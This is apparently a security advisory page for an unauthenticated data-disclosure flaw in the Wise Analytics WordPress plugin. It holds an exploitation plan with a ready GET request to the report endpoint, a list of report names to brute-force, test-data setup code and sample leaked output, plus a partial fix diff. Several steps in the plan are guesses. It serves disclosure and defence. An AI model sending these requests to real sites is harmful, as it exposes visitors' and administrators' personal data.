Wise Analytics <= 1.1.9 - Missing Authorization to Unauthenticated Arbitrary Analytics Database Disclosure via 'name' Parameter
Description
The Wise Analytics plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.1.9. This is due to missing capability checks on the REST API endpoint '/wise-analytics/v1/report'. This makes it possible for unauthenticated attackers to access sensitive analytics data including administrator usernames, login timestamps, visitor tracking information, and business intelligence data via the 'name' parameter granted they can send unauthenticated requests.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=1.1.9What Changed in the Fix
Changes introduced in v1.1.20
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14609 ## 1. Vulnerability Summary The **Wise Analytics** plugin (<= 1.1.9) is vulnerable to a **Missing Authorization** flaw in its REST API implementation. Specifically, the endpoint `/wp-json/wise-analytics/v1/report` fails to implement proper `permission_ca…
Show full research plan
Exploitation Research Plan: CVE-2025-14609
1. Vulnerability Summary
The Wise Analytics plugin (<= 1.1.9) is vulnerable to a Missing Authorization flaw in its REST API implementation. Specifically, the endpoint /wp-json/wise-analytics/v1/report fails to implement proper permission_callback checks. This allows any unauthenticated user to query the internal analytics database by providing a specific report name via a GET request. The exposed data includes visitor profiles, administrator activity (login timestamps), and business intelligence.
2. Attack Vector Analysis
- Endpoint:
/wp-json/wise-analytics/v1/report - Method:
GET - Vulnerable Parameter:
name - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active and have captured some visitor or event data.
- Payload Type: URL Query Parameters.
3. Code Flow
- Registration: The plugin registers the REST API namespace
wise-analytics/v1and the route/report(inferred fromAnalytics.php'swaAdminConfig.apiBase). - Access: When a request hits
/wp-json/wise-analytics/v1/report?name=visitors.last, WordPress dispatches the request to the plugin's controller. - Missing Check: The controller likely lacks a
permission_callbackthat verifiescurrent_user_can('manage_options'). - Data Retrieval: The controller uses the
nameparameter (e.g.,visitors.lastas seen inMainTable.jsx) to invoke a service class that queries the database (likelyKainex\WiseAnalytics\Services\Reports\ReportsServiceor similar). - Disclosure: The database results are returned as a JSON object directly to the unauthenticated requester.
4. Nonce Acquisition Strategy
According to the vulnerability description and analysis of assets/js/admin/src/redux/utils/ajax.js, the plugin does not appear to use standard WordPress REST nonces (X-WP-Nonce) for its report fetching logic. The JS fetch call in ajax.js does not automatically append headers:
// From assets/js/admin/src/redux/utils/ajax.js
let promise = fetch(waAdminConfig.apiBase + url + queryString, fetchConfiguration)
Since the endpoint is vulnerable to unauthenticated access, no nonce is required for the exploit. If the server were to enforce a nonce for unauthenticated users, it would typically be available in the frontend, but the vulnerability description confirms unauthenticated requests are successful.
5. Exploitation Strategy
The goal is to extract sensitive visitor and admin data.
Step-by-Step Plan:
- Target Identification: Use the known report name
visitors.lastfound in the source code ofMainTable.jsx. - Request Construction: Craft a GET request to the REST API endpoint.
- Parameter Fuzzing: If
visitors.lastworks, attempt other logical report names based on the plugin's feature list (e.g.,pages.top,events.last,sources.referrals).
HTTP Request (via http_request tool):
GET /wp-json/wise-analytics/v1/report?name=visitors.last HTTP/1.1
Host: [TARGET_HOST]
Accept: application/json
Potential Additional Payloads:
?name=visitors.last&offset=0?name=events.last?name=pages.top
6. Test Data Setup
To ensure the exploit returns meaningful data, we must populate the database using the plugin's own API (provided in readme.txt).
Action: Execute the following via wp eval:
// Create a dummy visitor with sensitive info
if (class_exists('\Kainex\WiseAnalytics\Container')) {
$visitorsService = \Kainex\WiseAnalytics\Container::getInstance()->get(\Kainex\WiseAnalytics\Services\Users\VisitorsService::class);
$visitor = $visitorsService->getOrCreate();
$visitor->setFirstName("Secret");
$visitor->setLastName("Administrator");
$visitor->setEmail("admin-leak@example.com");
$visitorsService->save($visitor);
// Log an event to ensure the report has content
$eventsService = \Kainex\WiseAnalytics\Container::getInstance()->get(\Kainex\WiseAnalytics\Services\Events\EventsService::class);
$eventsService->createEvent($visitor, "login", ["user" => "admin"]);
}
7. Expected Results
A successful exploit will return a 200 OK response with a JSON body containing visitor details.
Example Response Body:
{
"visitors": [
{
"id": 1,
"firstName": "Secret",
"lastName": "Administrator",
"email": "admin-leak@example.com",
"totalSessions": 1,
"avgSessionDuration": "00:05:20",
"lastVisit": "2025-05-20 10:00:00"
}
],
"total": 1,
"offset": 0,
"limit": 20
}
8. Verification Steps
- Confirm via CLI: Check the contents of the plugin's visitor table (likely
wp_wa_visitors).wp db query "SELECT * FROM wp_wa_visitors;" - Match Data: Compare the output from the HTTP request with the database query results to confirm identity.
9. Alternative Approaches
If visitors.last is not the correct name (though explicitly in the code), brute-force the name parameter using identifiers found in assets/js/admin/src/redux/reducers/reports.js (not provided, but a standard location) or use common analytics slugs:
overall.highlightsbehaviour.pagessources.channelsvisitors.devices
The readme.txt specifically mentions "Visitor profile page (name, e-mail...)", so any endpoint that serves the "Visitor profile" is a high-value target. Try:
GET /wp-json/wise-analytics/v1/visitor?id=1(inferred fromMainTable.jsx's Link to/visitors/browse/visitor/)
Summary
The Wise Analytics plugin for WordPress fails to implement proper authorization checks and capability verification on its '/wise-analytics/v1/report' REST API endpoint. This allows unauthenticated attackers to retrieve sensitive database information, including administrator usernames, login timestamps, and detailed visitor activity records, by requesting specific report names.
Vulnerable Code
// assets/js/admin/src/redux/utils/ajax.js:49-52 // The client-side AJAX utility does not include any authorization headers or WordPress nonces in 1.1.9 let promise = fetch(waAdminConfig.apiBase + url + queryString, fetchConfiguration) --- // src/Analytics.php:46-48 // The localized configuration for the admin interface lacks a security nonce wp_localize_script('wise-analytics-admin-core', 'waAdminConfig', [ 'apiBase' => site_url().'/wp-json/wise-analytics/v1' ]);
Security Fix
@@ -56,6 +56,7 @@ loading={ this.props.loading } columns={[ { 'name': 'Name' }, + { 'name': 'Source' }, { 'name': 'Visits' }, { 'name': 'Avg. Visit' }, { 'name': 'Last Visit' } @@ -66,10 +67,20 @@ case 0: return this.renderVisitor(visitor); case 1: - return visitor.totalSessions; + if (visitor.sourceCategory === 'Direct') { + return 'Direct'; + } else if (visitor.sourceCategory === 'Referral') { + return visitor.source; + } else if (visitor.sourceCategory !== null) { + return visitor.sourceCategory + ': ' + visitor.sourceGroup; + } else { + return 'Unknown'; + } case 2: - return visitor.avgSessionDuration; + return visitor.totalSessions; case 3: + return visitor.avgSessionDuration; + case 4: return visitor.lastVisit; } }} @@ -49,8 +49,10 @@ queryString = '?' + queryString; } - let promise = fetch(waAdminConfig.apiBase + url + queryString, fetchConfiguration) - .then(function(response) { + let promise = fetch(waAdminConfig.apiBase + url + queryString, { + ...fetchConfiguration, + headers: { 'X-WP-Nonce': waAdminConfig.nonce } + }).then(function(response) {
Exploit Outline
The exploit involves directly querying the REST API endpoint used for generating admin reports. Since the endpoint `/wp-json/wise-analytics/v1/report` does not require authentication or a valid WordPress nonce in versions <= 1.1.9, an attacker can send a GET request with the 'name' parameter set to known report identifiers. Specifically, requesting `?name=visitors.last` returns a JSON object containing the most recent visitor records, which include sensitive data such as names, email addresses, and visit duration. Other report names discovered in the source code, such as 'events.last' or 'pages.top', can also be targeted to extract further business intelligence or administrator activity logs.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.